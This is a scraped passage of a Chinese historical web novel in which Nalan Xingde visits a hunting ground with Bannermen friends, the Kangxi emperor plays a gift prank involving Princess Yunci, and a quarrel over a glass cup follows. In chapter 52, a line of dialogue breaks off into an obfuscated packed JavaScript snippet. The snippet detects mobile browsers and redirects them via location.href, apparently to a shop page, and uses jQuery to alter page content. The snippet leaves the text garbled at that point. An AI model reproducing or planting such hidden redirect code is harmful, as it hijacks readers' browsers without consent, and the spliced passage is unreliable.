“划地无聊……是有一点,所以我跑出家门了。”容若一面盼着共鸣、一面笑道,“但是倚马挥毫,却是没实现。” “这有何难?”格尔芬指向天际,“今日夕阳下,我与众八旗子弟一起,看纳兰兄马背写词就是!” 只怕容若记仇,两位看守求容若道:“我等有眼无珠,冒犯了纳兰公子,还请公子恕罪!” “纳兰兄哪会记怪?”格尔芬反问,“你俩自行反思,就算是向纳兰兄谢罪了。” 看守甲忽然抬头,看向容若:“可以问公子一个问题吗?” “什么问题?” “在公子看来,里面的八旗子弟如何?” “小时候阿玛教我骑射,让我懂得了一个道:要想命中目标,就好比是天上的飞鸟;要想夺取胜利,就好比是大败敌军,靠的不是手中的弓箭和身上戎装,而是人的意志和意气。所以,我认为关键是:他们怎么才能够在最好的年华发挥自己的本事,为自己立名、为大清效力。” “公子为什么不评价他们?只说些莫名其妙的见解?” “我的表达有不妥吗?我不觉得。” 看守甲有些呆然,喃喃道:“我算是懂了……纳兰公子的与众不同,就在这里啊!” “只是与众不同,不是格格不入——”容若一笑,“就好。” * 进入到围场里面。 容若难免会拿眼前的景色,跟自家的西郊庄园做对比: 自家的庄园其实一直就撂在那里,压根没有闲暇去度假游玩。即便是秋日里骑马而往,也只是一个过场,目之所见也不过是一片萧瑟。 这里却是大不相同: 人多热闹,烤味飘香。人人的脸上都带着高兴,好像聚在一起就有聊不完的话题和说不尽的趣事一样,杯盏不停,笑语不断。 如此的豪迈与奔放,洒脱吃肉、放肆饮茶,放在明府和家法面前,容若自然是想都不敢想。 就好像是自己这么做了,就成了一个瑕疵品和没家教的人一样,肯定会惹阿玛生气跟额娘责备的。 容若的心脏在颤动: 大抵我是真的不适合围场。 往乐观的方向说,西郊庄园和此处围场对比鲜明没关系,等到秋天的时候,皇上一定会带我去木兰围场秋狩,那时候我就能好好发挥自己的骑射功夫了。 往悲观的方向讲,则是置身自家庄园也好,此处围场也罢,压力一点都不比在木兰围场伴君小。缘何有压力呢?我不知道。 沉浸在复杂的心情中,勾起了对往事的回忆,容若吟了一阙词: 平原草枯矣,重阳后、黄叶树骚骚。 记玉勒青丝,落花时节,曾逢拾翠,忽听吹箫。 今来是、烧痕残碧尽,霜影乱红凋。 秋水映空,寒烟如织,皂雕飞处,天惨云高。 【注2】 容若调了调心情,道:“所以去围场,还是春天最好,草长莺飞,天晴苍朗,一派欣欣向荣之景。” “纳兰兄这么想可就错了!”格尔芬一脸行乐之态,“人生应当越来越成熟,岂可叹物是人非?你不是还年轻吗?心态怎就老了?” 容若轻叹:“我想着我家西郊庄园的现状,就跟我在词里描述的一样。” 格尔芬伸手,往辽阔的前方一指,“你得为眼前景赋词才对。” 容若摇头,“眼前景没什么好赋的。” “哈哈。”格尔芬说出了自己的经典名言,“纳兰心事无人知,纳兰心情唯我懂。” * 来到大伙儿聚集的营帐前面。 格尔芬对自己的朋友们兴奋道:“你们看,我把谁带来了?” 八旗子弟个个惊讶:“纳兰?真是纳兰?” “是呀,是纳兰。”格尔芬单手搭在容若的肩膀上,“如假包换的纳兰。” “是我。”容若大方道。 “纳兰,你怎么会来?”一八旗子弟问。 【注1】【注2】纳兰性德《风流子·秋郊即事》 52.第52章 八旗子弟们一起把“稀客”纳兰性德围了起来。 今天是什么破天荒的日子? 明珠的长公子和索额图的次子聚到了一块儿,那个传说中往返路线只拘束在“明府”和“皇宫”之间的纳兰性德,竟然偏离了规矩的行径,往城郊的围场来了? 哥们甲道:“纳兰,你怎么会来?” 容若借口道:“路过。” 对方似乎不信:“真的是路过?” “嗯。”容若打开掌心,“看见一只飞鸟,爪子上绕着红绳,就追逐到了这里。” “刚才我们还开玩笑说,没准这件慈悲事就是你做的呢!”哥们甲跟周围的朋友一起呼应着,“没想到还真是啊!” “还你。”容若把红绳放到哥们甲的手中,“交回给这里训练飞禽的小厮,不然飞鸟归笼,标记之物盘点不清,他要挨罚。” 哥们乙问:“纳兰公子怎会为一个小厮考虑?公子自身不是个比天上的皎月还冷淡的人吗,” “当然不是。” 容若豪爽地拿起了一串素蔬烧烤,和饮了大口热奶茶,同时为自己正了名: “我瞧着是个只可远观不可近看的人,但是我性格挺随和的,偶尔生气,也敢当着众宾客的面摔东西,然后当场捕捉到了大家脸上各异的表情;我的名声多是来自才学,但是我自诩武功不差,偶尔乐意,也敢做个快意江湖梦,行侠仗义,路见不平拔刀相助,至此只有侠客没有贵公子;我的身体大多数时间要养着,但是没有传说中的那么差,偶尔高兴,一头扎进雪堆里,一身奔在春雨中,也敢寻个以毒攻毒之法,告诉自己,没准苍天开眼,一下子就让纳兰这辈子都没有病厄了。” 哥们乙惊道:“不说不知道,不听不知道,原来纳兰你的骨子里还挺叛逆。” “所以别把我当成皎月。”容若真挚地看着众人,“把我当作是有阴晴圆缺的寻常白玉盘就好,玉盘这东西,该碎的时候会碎,该染尘的时候会染尘,该沉水的时候会沉水……没法永远光鲜如故、只做衬托雅室的一束光的。” “纳兰,你觉得我们如何?”哥们丙环指了一圈围坐在容若四周的同龄人们,“我们在你眼里,是不是不学无术、只会打发闲散时光的纨绔子弟?” “我有个人生准则,就是不能轻易评价别人、不可在背后议论别人是非。所以这类问题,我只会把自己的‘大局观’和‘价值观’说出来,如此你们也愿意听吗?” 格尔芬笑道:“大家就当作:纳兰兄既给别人留了余地、又给自己的想法做了担保,如何?” 众八旗子弟道:“说吧说吧,我们听着呢!” 容若侧着脑袋想了想,然后道: “首先,我觉得各位好好活着是件好事。那些被挑选出来的、作为皇上的陪练玩伴,实际上则是肩负擒拿鳌拜大任的同龄精英们,已经悉数在武英殿内战死。我这个人,不忍战争不忍流血,心里在慨叹:生命珍贵,要好好活下去,哪怕是杜鹃啼血而死,也要死的有价值、让人警醒。” “其次,各位血统和出身都高贵,贵而不可忘国忧,应该磨练好一身本领,有战事时报国、无战事是卫家才对。泱泱天下,老将和少年都是大清所需的人才;漫漫人生,精彩或平凡都是来到这个世道上走了一遭。所以各位有了高起点,更当要心怀大抱负不是吗?” “最后,作为八旗子弟之一,我纳兰性德没有很好地融入到大家当中去,我心里有惭愧有遗憾,请大家多多包涵。” 哥们甲惊然道:“我第一次有种‘说教’二字从纳兰口中说出以后,就变成了‘激励’的感觉。” 容若摆摆手,“我绝对没有说教的意思,我要是动不动就给人讲道理,那多无趣?何况我也不够格。我只是一不小心就给人产生了错觉感而已。” 格尔芬道:“纳兰兄的意思就是说,他其实说的都是真心话,不管面对皇帝还是面对咱们,都一样。” “嗯。一样。” 容若越发不懂,为什么除了沈宛以外,偏偏就是索额图次子格尔芬懂自己的心事和心情?这两人,都是不可能为明珠所容的啊! 因此就会害怕失去,容若心中惆怅至此:一直都没有的东西,得到为喜;后天拥有的东西,对自己而言很重要的东西,失去为悲,彻骨的悲。 ——只是不能表现出来,不能让大家知道呀。 ——不然,就是扫大家的兴。不能做一个不识趣的人。 在大家的畅饮声和欢笑声中,容若吃了只烤串上的小香菇,让大家觉得:纳兰公子能与众人合的来。 “吃烤肉吗?” “好。” 这对容若的身体而言,是不允许的。烤串烤肉油腻,辛香料味重,会加重他的身体负担。 平日里,容若严格对待自己的饮食,明珠也常常过问。 正如《明珠家事》中,明珠的一句训子名言:“哪怕是烧麦里的一粒米,也是照着你的口感去蒸煮、不敢算差一丁点时间的!”足以见得这位贵公子被呵护到何等地步。 今日能够放纵一回,容若觉得新鲜又刺激。 出门之前吃过药饮,应该没有什么大碍吧? 容若心中,自成《玉栏案·城郊围场燔炙》一首: 把酒临风相笑好,近也斜阳。小啖倾肠,分明一身无恙,今日何事消得?总关惆怅。 篝火时候,不问西风快剪,剪取明灭相向。乘归路,吹袭晚凉,看取星野铺张。叹兴,往深处谁伴思量? * 哥们乙举杯道:“祝索兄和纳兰兄为国子监同窗,勤学苦读,早展宏图!” 容若这才留意到,装奶茶的茶碗不知道什么时候已经被撤下,取而代之的,是装着美酒的高脚杯。 ——确实不需要顾及那么多。 容若觉得自己的身体状况好得很,满喝上三杯酒也绰绰有余。 “干杯!” 一声声清响,一阵阵把酒欢歌,多么好多么畅快的时光。 “我是利用‘恩荫制度’进国子监的,纳兰兄跟我不一样。”格尔芬忽然向容若竖起拇指一夸,佩服道,“纳兰兄靠的是自己的真本事!” 哥们甲问:“是吗?我等还以为纳兰学富五车,免试入学呢。” 容若解释道:“我先进入八旗官学,然后以第一名的成绩拿下‘补贡生’的资格。” 格尔芬补充道:“纳兰兄那可真叫出类拔萃,你等知道什么样的人才能符合‘补贡生’的标准吗?汉军推送两名,蒙古推送两名。满洲只限推送一名,那就是文武全才的纳兰性德。” 容若继续道:“拿到推送名额后,我就去考试。第一环节叫考到,由国子监的官员出题,我是第一名;第二环节叫考验,由国子监祭酒和管理监事大臣面试,我还是第一名。于是,我就成了贡生,而且还传出了‘纳兰性德没人敢教,只能徐乾学徐先生亲自带’的心机之言,我分明从未动过被哪位老师特别教学的念头。” 哥们丙乐道:“格尔芬,你看看纳兰,他可不像你一样是个乐天派。当时你跟我们说要去国子监读书的时候,开心的跟什么似的?如今可是要安慰上你的纳兰兄几句?” 格尔芬道:“徐先生对纳兰兄带归带,平日里纳兰兄还不是跟我们一起坐在同一个学堂里听讲吗?更何况平日里的作业和月考、季考都是一样的,纳兰兄该怎么学还是怎么学。” “徐先生要是——” 格尔芬勾起嘴角一笑,“真跟纳兰兄一块儿,边比学问边比心机,那就是国子监的乐趣,调节调节读死书的氛围,有何不好?” 这话倒让容若一下子看开了,一扫之前连明珠都宽解不了的“苦愁”情绪。 ——明珠的基盘加上容若的才学,一旦合璧把持朝纲,那大清江山会变成什么样?没有谁容得下纳兰父子这般得势。这是第一愁绪。 ——忠臣、佞臣、弄臣、权臣并存于大清的吏治之中,布局不休,算计不断,即便是想置身事外,也身不由己。这是第二愁绪。 双愁难消,双愁难忍啊! 如今豁然开朗: 徐乾学的目的,不就是想跟纳兰父子争个高低吗? 我纳兰性德在徐乾学眼中,不就是一个“可以利用”又“不敢利用”的人吗? 所以徐乾学就只能采取“暂为人师、好为人师、耻为人师”的策略了。三剂猛药齐下,总有一个方子是管用的。 这是徐乾学对纳兰性德的试探,也是他对纳兰性德的考验:要么两全其美,要么两败俱伤,要么……就是斗上一辈子,至死方休。 容若诚挚谢道:“格尔芬,多谢你!” 格尔芬大度道:“你我是你我,你我的阿玛是你我的阿玛,不可同论,所以交心之友之间,不必言谢。” * 夕阳西下,已是昏暮。 篝火飒飒,映天中烧。 格尔芬吩咐家仆,“你俩去拿笔墨纸砚和牵纳兰兄的马过来。” “今日难得纳兰兄来此,敞开心扉与八旗子弟相聚相吃,相处甚欢。”格尔芬问众人,“他可是应了我,要:夕阳影里,倚马挥毫。” “如今夕阳落山,篝火可算?” 容若起身,诗情词意正好上头。 “算。” 众人纷纷响应。 待家仆取来纸笔,容若倚马写下: 朔风不疲向边关, 何当并立望青山。 倚马挥毫月下人, 剑门张载蜀郡还。 “好诗,好诗啊!”格尔芬赞道,“字也写得好。” 容若谦虚:“今日尽兴,以此相贺。” 一八旗子弟趁兴问:“纳兰的墨宝,归谁好啊?” 格尔芬道:“那定是要交给师傅,让师傅装裱好后,挂进咱们练功之余休息的营帐里面的!” 大家都赞同:“这主意好。” 回去的路上,容若才想起来,自己忘记问格尔芬:“你是怎么对我出的上联的?你说出来,我看看是否适合赠字画?” 只是—— 在沈宛没有主动给出下联之前。 容若不会对任何人说出“是否最佳”四个字。 这般评判在己,这般先入为主,容若忍不住笑自己痴:“纳兰,你真的很看好宛卿,也很爱宛卿。” * 纳兰入学国子监的前两天。 玄烨在养心殿处理完公务,就开始动起了自己的心思。 招手叫了总管大太监顾问行上前,玄烨道:“纳兰要进入国子监读书了,你去问问他,想要朕赐他些什么文具?” 顾问行机敏道:“奴才已经先一步帮万岁爷问过了。” “说——”玄烨迫不及待,“他想要的,统统都满足,而且给他最好的。” “纳兰公子说经典读多了,难免禁锢思维,还不如跟皇上一起琢磨西洋器械。像是:望远镜、铜镀金盘式手摇计算机、纸筹式计算器、楠木几何多面体模型 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655938|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、法兰西绘图仪器。” 听罢,玄烨马上改了主意,只道:“你把刚刚提及过的东西,都赏到云辞格格手里去,见到一等公朴尔普,就说是纳兰向朕请的准。” “万岁爷,您这不是让纳兰公子百口莫辩了吗?” “云辞格格喜欢西洋玩意儿,朕赏她东西有错吗?” 顾问行不敢多言:“这个……” 梁九功插了句嘴:“万岁爷,您为何要用纳兰公子的名义去做这件事?” 玄烨大笑:“朕只要采取措施,至于纳兰怎么想和怎么应对,那是他的事情。” “你糊涂呀!” 走出养心殿后,顾问行对梁九功训了一句。 “干爹,奴才要是有您一半懂万岁爷,还能只先在养心殿领着‘纳兰公子等候皇上时,确保他万无一失’的差事吗?奴才早在御前尽忠了。” 顾问行对康熙皇帝的想法知道的一清二楚,道:“万岁爷的心思,就是想看一场戏,你怎么能阻止得了呢?” “这不是为难人家公子吗?”梁九功正直道,“人家公子无辜,对此一无所知。” “但愿朴尔普大人不要一高兴,就登入明府去找明珠大人才好!” “干爹,您去瓜尔佳府邸办完万岁爷给的差事后,要不要叫人先去明珠府邸给纳兰公子报个信儿?” “你这么问,就是你想去?” “纳兰公子善待奴才,奴才该去报恩。” “难得你有这份心。”顾问行叹气道,“只是你去不得,擅自搅乱万岁爷的计划,就是掉脑袋的罪。你呀,还是留着小命继续在这君臣之间当差吧!” * 朴尔普见到顾问行前来,连忙相迎接。 “怎敢劳顾总管您亲自来走一趟?”朴尔普客气道,“您亲自办的差事,向来都是去往明珠家的。” “纳兰公子请了万岁爷的准,让万岁爷把这些西洋器械都给云辞格格呢。” 说着,顾问行一挥手,身后的太监们便把“礼物”都往瓜尔佳府邸的内厅送去。 朴尔普春风满面,“总管大人,您是说这是纳兰公子对小女的心意?” 顾问行道:“万岁爷的天恩才是最要紧的,朴尔普大人,您说是吗?” “不错!”朴尔普笑道,“本官代小女谢过皇上。” “奴才就不进去了。”顾问行一甩拂尘,“一会儿还要回宫,去伺候万岁爷跟皇后一同用膳呢。” “多谢总管大人。”朴尔普相送,“总管大人慢走。” 回到内厅,朴尔普赶紧吩咐丫鬟去把云辞给叫了过来。 “女儿给阿玛请安。” “云辞,你真不愧是阿玛的好女儿!”朴尔普激动道,“你瞧瞧这些东西,都是‘容若贤婿’向皇上要来给你的。” 云辞便走上前去,一物一物地细看,倒也是真的喜欢。 朴尔普笑容满面,“阿玛就知道,‘容若贤婿’心中装着你,晓得你喜欢什么,这不就讨你欢心来了吗?” “阿玛定是误会了!”云辞觉得哪里不对劲,“从来都只有天下人去讨纳兰公子的欢心,哪里有过纳兰公子去讨别人的欢心的时候?” “人又不是佛祖,当存七情六欲。”朴尔普看着那些礼品,“两心相悦之时,送礼乃是常举。照这么下去,一旦‘容若贤婿’功名成就,娶你之日就不远啦!” “女儿那日连纳兰公子的面都没有见到,纳兰公子何须问皇上要来这些恩赏给我?” “那日你没见到‘容若贤婿’吗?”朴尔普不信,“但你归家归的晚啊!” 云辞自然是不敢把自己“去找了禹之鼎”的事实拿出来说,不然就是不识时务地扫了父女之间的和平。 于是,她想了个理由道:“女儿去找了帝师南怀仁,跟着南大人一同讨论西方历法,所以忘时晚归。” 朴尔普却对指着女儿而笑,一副了解她的心思的模样道:“好好好,阿玛知道你害羞,跟‘容若贤婿’相处之间的事情,不好意思拿到阿玛面前说。” “女儿没有说谎。” 此言一出,云辞立刻低下了头。 哎呀,这份纷繁复杂的心情是怎么回事?到底“没见到纳兰公子”一事没说谎,还是“跟禹之鼎一起,与帝师南怀仁一同探讨西方历法”之事没说谎? 这怎么就分不清了? “你去哪儿?” “女儿去找纳兰公子。” 这回云辞说的是心里话,她可不想生出什么大误会来。 “今日天色已晚,即便是去,那也等明日再去。”朴尔普拍了拍衣服,神色朗然道,“阿玛跟你一起去。” 云辞指着桌面上的“礼品”道:“女儿以为,这些东西应当送到明府去。” 朴尔普不解:“什么?” 云辞心里有数,豁然道:“女儿觉得:这些东西都是纳兰公子自己想要的,结果却被皇上兜了个圈,故意送到我手里。” “即便如此,那也是皇上有心。”朴尔普倒是不介意,“你要是把这些东西送去明府,皇上是该怪你?该是怪‘容若贤婿’啊?” “因为玄烨是皇上,就可以为所欲为吗?”云辞越想越气愤,“大不了我明日进宫去,就当着康熙和纳兰的面说——” “你什么都不用说了!”朴尔普一挥手,“明日跟着阿玛一起去明府,向明珠家的贵公子道谢。” “女儿不留这些东西!” “留着!” 53.第53章 容若坐在渌水亭中,桌面上有他喜欢的水仙花为伴。 此刻,他正在给徐乾学送来的《古抄本十二卷》做编注,专心致志,不为人事所扰。 管家前来,“小的该死,耽误了公子手头事。朴尔普大人带着云辞格格前来,老爷叫了公子前去客厅相见。” “好。”起身后,容若交待侍女,“袖云,你在这儿守着我的文稿,我会早些回来。” “是,公子。” 袖云见容若的背影消失在渌水亭的尽头后,便坐在一侧,捧起容若的文稿来细读。对她而言,容若的笔墨自带了十分唯美感和款款亲切感,品之为雅,校之为悦。 * 客厅之中。 容若一到场,就按照礼数问了一等公朴尔普和父亲明珠的好。再看向云辞,她似乎是一副:有许多话要说、却不得不忍着的样子。 “儿啊,你借皇上的名义去给云辞格格送西洋人的学习文具,是何用意啊?” ——我借皇上的名义? 容若一怔,真想反问明珠:儿是臣,玄烨是君,儿哪有本事让君借臣名?应该是反过来,玄烨打着儿的名义、去把儿想要的西洋文具给了云辞格格吧? 见容若不说话,明珠又问了一句:“前几日你晚归,可是跟云辞格格一起在外邀约?” 容若向云辞投去了一个“格格也在同一日晚归了吗”的询问表情,云辞只感觉巧合的很、尴尬的很,自己只剩下了点头的份。 ——郊外围场、饮酒、欢歌、吃烧烤、跟索额图次子打交道、倚马挥毫。 容若低头,这哪是明珠的长公子干的出来的事情? 一个字也说不得,一句话也回应不得。 纳兰明珠和朴尔普相互对望了一眼,竟然一致认定:容若和云辞之间,确实存在了一些不便在人前说的真感情。 “容若,云辞,你俩别站着。”明珠平和道,“都坐下,一块坐着。” 俩人便是左右坐在了隔着一张方桌的椅子上,像是相互圆谎、相互关照彼此一般,恢复了日常的模样,不再拘束。 朴尔普边品茶边笑道:“明珠大人,咱们可是把分寸拿捏在心里就好,可别真戳穿了孩子们的心思啊!” 明珠亦微笑着拿起茶杯,道:“咱们满人本该爽快些,不该学汉人们含蓄,奈何容若跟云辞一样,偏向了认同洋人的东西和情感观,就不是你我可以明白的了。所以咱们这些做阿玛的,只能让孩子们顺其自然来相处啊!” 见父辈们都在喝茶,容若和云辞就想着:吃些茶点来听父辈们的讨论好。 却不料,两人在同一瞬间伸手、在同一目标上命中了桌面上的凤梨酥,竟然就将这毫无预兆的、男女“情投意合”的一幕上演到了明珠和朴尔普面前: 公子跟格格十指紧扣,半悬空在那盘凤梨酥上方;彼此目光相遇,不是惊讶也不是慌张,而是出乎了寻常人的冷静与两相和好。 等到反应过来,容若和云辞同时发出了“啊”的一声,只在各自心中疑问:这是怎么回事?难不成是被皇上施了萨满之法? 公子的左手和格格的右手,倒是没有猛地抽开,而是处在了一道微妙的光影中:他手腕的菩提子,光芒清润温和;她手腕的洋水晶,色泽鲜亮飞扬。恰是互补互合。 两位父亲惊讶于孩子们的合拍。 只当孩子们有孩子们的天赐情缘,就不约而同道:“容若,云辞,你俩一起去府中花园逛逛吧!” * 站在玉兰花树下。 云辞先坦白了:“那日我来找公子,公子不在,我就转而去如意馆找禹画师了,两人一高兴,回过神来已是夜幕。” 容若笑道:“我呢,那日给自家的西郊庄园写了词、给城郊围场写了诗,要是回家途中偶遇格格和禹画师,再为才子佳人作一篇章,一日岂非完美?” “难怪公子不敢对明珠大人说,城郊围场不是八旗子弟们打着‘练习骑射’的名义来‘消遣时光’的地方吗?豪情只付荣华梦,欢情不知世道艰。公子跟那些人大相径庭啊!” “人总是会变的,大家都如此。当下八旗世子们有他们的享乐方式,以后他们就知道该如何让人生过得有意义了。” “那是公子的想法。” “不纯粹是。我接触了他们,知道他们藏在心里的大志向,只要被点燃被激发,就能让城郊围场从‘纵情欢愉之地’变成‘’勤学苦练之所。他们在将来建功立业,个个成为堂堂男儿,是大清之幸,我亦同喜。” 听到这里,云辞就明白了:公子这番出去城郊围场,不可说是自我满足,而是在有意识或是无意识之间,为了皇上去唤醒、招揽了人才。 云辞站在公子的玉兰树边,素心沾雅。 容若在她旁侧,早已把景和人一并捧在心中,惜取短暂时光。 “公子对人,总是目光长远和心怀善意。所以呀,皇上身边就是需要有公子这样的侧臣陪着。” “万一,纳兰性德一辈子都当了皇上身边的侧臣、且只能当皇上身边的侧臣呢?” “不会的,皇上肯定会让公子有用武之地的。且公子性格本不爱拘束,就算是皇上想要独占公子,公子也有自己的方法解脱不是吗?” “解脱的方式,有极端的。云辞,你不怕纳兰性德走了极端?” “那我就自己不再提,也不许公子用‘解脱’这个词,可好?” “换以‘逃离’如何?听着没有那么悲伤。” “照公子的想法,当然好。” 一朵玉兰花忽然掉落,云辞伸出双手,在公子面前稳稳地将那朵落花接在掌心。 云辞看见了公子感慨时序轮回的眼神,公子的双眸有着独特的伤感、和独特的美感,不管从哪个角度与公子的目光相遇,心中都能平静似水,生出一份安然来。 玉兰花虽落,素雅芳香却未散,好似公子这个人: 纤细敏感,谁都可能在不经意间触碰到他的惆怅和心伤。 但他却是那么小心地做出回应,他说换一种方式吧、换一个表达吧,只要把一个“悲”的浓稠感降低就好,只要彼此之间中和调适,没有情绪是不能消解的。 “皇上的做法……”容若问她,“云辞你怎么看?” “我跟公子想的差不多,觉得皇上是在故意生事非。”云辞缓步走在花园中,“但是,我不晓得皇上为什么要这么干。” “我也不懂皇上想做什么。” 容若瞧见了一抹从树枝间冒出来的新绿,就驻足在前,静静观察。 “公子,你不觉得皇上是个反复无常的人吗?皇上就是个以自我为中心,时不时爱玩弄于人的缺乏器量的小伙子,如此,他还不如把皇位让给安亲王岳乐,当他的三阿哥去呢!岂非自由自在?” “云辞格格性子爽直,幸好后半句话只有我一个人听见。” 容若不拿“祸从口出”四个字来吓她,其实也吓不了。 “说与公子一个人听才好!”云辞信任容若,“玄烨要是不能成为千古一帝,那就真的是辜负、有愧于第一陪臣纳兰性德。” 容若看着枝头嫩芽,心里思忖着: 春之将至,万象更新。容若当迎。 帝王伟业,征途在即。容若当助。 * 等到送了瓜尔佳氏父女离开,容若本来还想去给明珠请个罪,却不想明珠竟然没有任何追究的意思。 于是,容若就安心地回到了渌水亭。 伴着一束淡雅米黄水仙花、伴着数不尽的稿纸、伴着可心的侍女袖云一同,享受属于自己的静谧时光。 “袖云,定是有人说纳兰性德年轻,干不来览经、解经、注经的事情,即便是以后拿到了一个汇编丛书的机会,也是浪得虚名。那我就先从徐先生考验我的这十二卷抄本开始着手,证明给世人看:纳兰性德有整理和编撰经典的本事。” “公子细心,考究严整,增删有据,是推进‘经解工程’的不可多得之人。” “其实我知道——” “公子知道什么?” “徐先生之所以送《古抄本十二卷》给我,其中一个原因,是刻印丛书所耗的物力和财力巨大,一个人光有才学、有毅力、有名声做不来,还要有家势才行。缺了家势做后盾,光是起步的搜寻资料环节就做不来,谈何后续的集合研读与对比考证?” “公子可是心甘情愿在做这件事?” “是啊。也算作是给自己积累经验,有了解注《古抄本十二卷》的完工经历为地盘,将来面对更浩大的编撰史书、编撰经典工程,才能得心应手。” “袖云陪着公子。” “有袖云的整理与校对,我欢喜安心。” “公子的一稿和二稿已是完美当中的完美,袖云只是‘蛋中挑骨’捡些误字罢了。” 容若发现了掉落在书页中的水仙花花粉,就拿起了整本书册,将花粉撒回了朵瓣中。 “万物本无所从来,却要有所从去。”他笑着蘸墨,“人也是如此,如朵瓣当中的一蕊。” 墨落纸间,公子写下的是: 若为相惜回原点,且罢当初无始根。 谁寄流水相思字,独与碧云解愁灯。 暮色渐晚催归客,残阳还照鸳瓦层。 敲文推字花下墨,霄汉引君问赤诚。 * 纳兰容若入学国子监的前一日。 听闻官云辞把那些“西洋文具”悉数送到了纳兰容若家中,二人之间没有猜忌、也没有吵架,更没有什么不好听的流言蜚语传出,玄烨自然是生气。 顾问行劝道:“万岁爷,您这不是自寻烦恼吗?纳兰公子又没有得罪您,您这是何苦无事生非?” “如今纳兰胆子大了,没有朕的旨意,他就不主动进宫来伴君!”玄烨哼了一声,“等到他忙学业上的事,岂不是更要把朕置于不必理会之地了?” “奴才替万岁爷打听过了,纳兰公子没进宫伴君的日子里,都是在编纂《古抄本十二卷》呢,修书本就是项大工程,不心无旁骛不行呐!” “顾总管,你去把‘觉盏馆’最新烧制出来的、进献给朕的‘晚回舟五色盏’拿过来。” “万岁爷的意思是?” “纳兰的生辰贺礼朕不是没给吗?现在朕就要带着‘晚回舟五色盏’到明珠府上去。” 顾问行心里一哆嗦,“奴才不知道如何跟太皇太后交待。” 玄烨不容置否道:“你只管去拿朕要求的东西,你那颗脑袋,朕会保着!” 拿了琉璃盏过来,顾问行请了皇上的意思:“万岁爷,您是不是把手上的十四瓣金刚菩提子手串摘了?” 玄烨瞪了顾总管一眼,“朕戴着这串菩提子,是在为纳兰祈福!” 顾问行只得附和皇上的意思,“是是。皇上洪福齐天,是在把福气恩泽给纳兰公子。” * 听闻康熙皇帝要来,明珠一家人一刻也不敢怠慢,立刻前往正厅迎接。 候驾期间。 明珠下意识就问:“容若,你什么时候又得罪皇上了?” “儿不知道。”容若看着大门方向,“大抵儿没错,只是皇上想来明府一趟而已。” 觉罗氏慈爱道:“儿啊,好好跟皇上说话,不要触怒君威,伤了自己的神,明天还要去国子监报到。听额娘的话。” “要是皇上偏不给儿好好说话的机会呢?”容若反问,“儿也该忍着吗?” 明珠命令道:“你两个弟弟还在身边,好歹拿出做长兄的样子来。” “皇上免不了要对儿有所发泄的,儿的预感准。”说着,容若看向揆叙和 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下一瞬间,玄烨把“晚回舟五色琉璃盏”放回了锦盒中,给顾总管递了个眼色。 明珠把皇上的用意看的明明白白,心里只盼着:容若啊,你可别三拒皇上!即便你要拒,也要让阿玛的反应跟得上才行啊! “公子。”顾问行把琉璃盏放到容若面前,“你可把万岁爷的心意收好了。” 容若没接,但是目光停留在上面。 玄烨一挑眉,冷问:“纳兰,你这是什么态度!眼光到行为不到,是觉得朕拿出手的这份礼物配不上你吗?” “臣不敢。” “那就收下!” “臣有‘露水之恐’,经受不得‘琉璃之吓’。” 明珠给容若递了一个眼神,意思是:儿啊,你在胡说什么? “彩云琉璃,易碎易散。大都好物不坚牢,彩云易散琉璃脆【注1】。”容若往前走了几步,“行舟也是一样,不知前路,不知结局与终点。” “纳兰你——”玄烨顿时火冒三丈,“你是在嫌弃朕不懂得送贺礼的分寸!” “容若绝非此意。”明珠代为认了错,“他只是沉浸在编书考据的状态中,没有走出来,才胡言乱语罢了。” “你儿子编书考据之后的刻本,是打算献给朕的吗?” “这个……” 明珠一拉容若的衣袖,意思是叫他顺了皇上的心意来答话。 却不想。 容若竟然说出了这么一番让人摸不清意思、也难着高悟境界的话来: “什么时候冰融了,我就把这个‘晚回舟五色琉璃盏’放到河里去,让一切明灭有序的杂念和自伤伤神的烦恼……都随着水流去。” “我在济国寺点明灯,求的是自己、纳兰家、皇上、天下,四方皆好。我定期去为明灯添灯油,只为火苗不灭,不管是在气候变化、在灾害来临、在天命难逆的何种环境中,都能有我的一份缘:命缘,可破三十载之天论;机缘,可登朗朗无邃之大乘;善缘,可结泛尔无量之果报。” “灯长明,缘不灭,何须一盏琉璃为舟渡?” 笃信佛学的觉罗氏,是在场唯一能够听明白容若的话的奥义的人。 ——容若此时的心境,已是不能当作“透彻”来解。 ——他对琉璃盏只“看”不“触”,乃是佛海之中的:法舟唯见眼前涯,不动舟浆不动心。是为:大彻大悟。 儿子聪慧至此,觉罗氏不禁心生疼惜。 * 玄烨走到纳兰正面前,目光似刀:“纳兰,你有一颗纯净琉璃心,却不收朕的琉璃礼?!” 容若一语道破:“皇上真正想送臣的生辰贺礼,不是这个盏。” 玄烨气道:“你敢不把朕送的琉璃盏收好,朕就下令:觉盏馆,大肆征集劳工,为太皇太后生日制造无上宝器,为大清第一才子纳兰性德制造至高净尊,看天下百姓怨的是朕、太皇太后,还是你!” 容若耿直道:“皇上是分不清为太皇太后尽孝和为天下百姓尽责的意义了吗?臣不该作为皇上的错行特例。” 明珠在心里叹了一口气。 心想:我的容若没说错什么啊,我明珠不必为了让皇上息怒,而一再绕解我儿的本意啊! “皇上,臣忽然有个想法:不如,让臣连着自己给皇上准备过的琉璃盏【注2】,与皇上强臣所要的‘晚回舟五色盏’一并逐水东流。可是两全其美?” ——纳兰,你就这么想让琉璃盏随水而去吗? ——是因为你奈何不了天上的白云,才把情绪发泄在琉璃盏上面? 就跟是自问自答、一下子弄懂了答案一般。 玄烨忽然大笑起来,笑的畅快有力,几近破冰引春。 容若对贴身侍女吩咐道:“袖云,你去把我给皇上准备的琉璃盏拿来。” 玄烨大喜:“你是说,你为朕准备过琉璃盏?” 容若应道:“是啊,准备过,在过年的时候。如果九节扇骨折扇没做出来,就是打算给皇上送琉璃盏的。” 对纳兰罚吗?不罚。 对纳兰赞吗?不赞。 一切矛盾措施和由怒转喜的心情,就这般无所保留地上了心头。 玄烨清正明辨道:“只许朕收下你的礼赠,而不许朕礼赠于你,这样的臣子,纳兰你是第一个。” 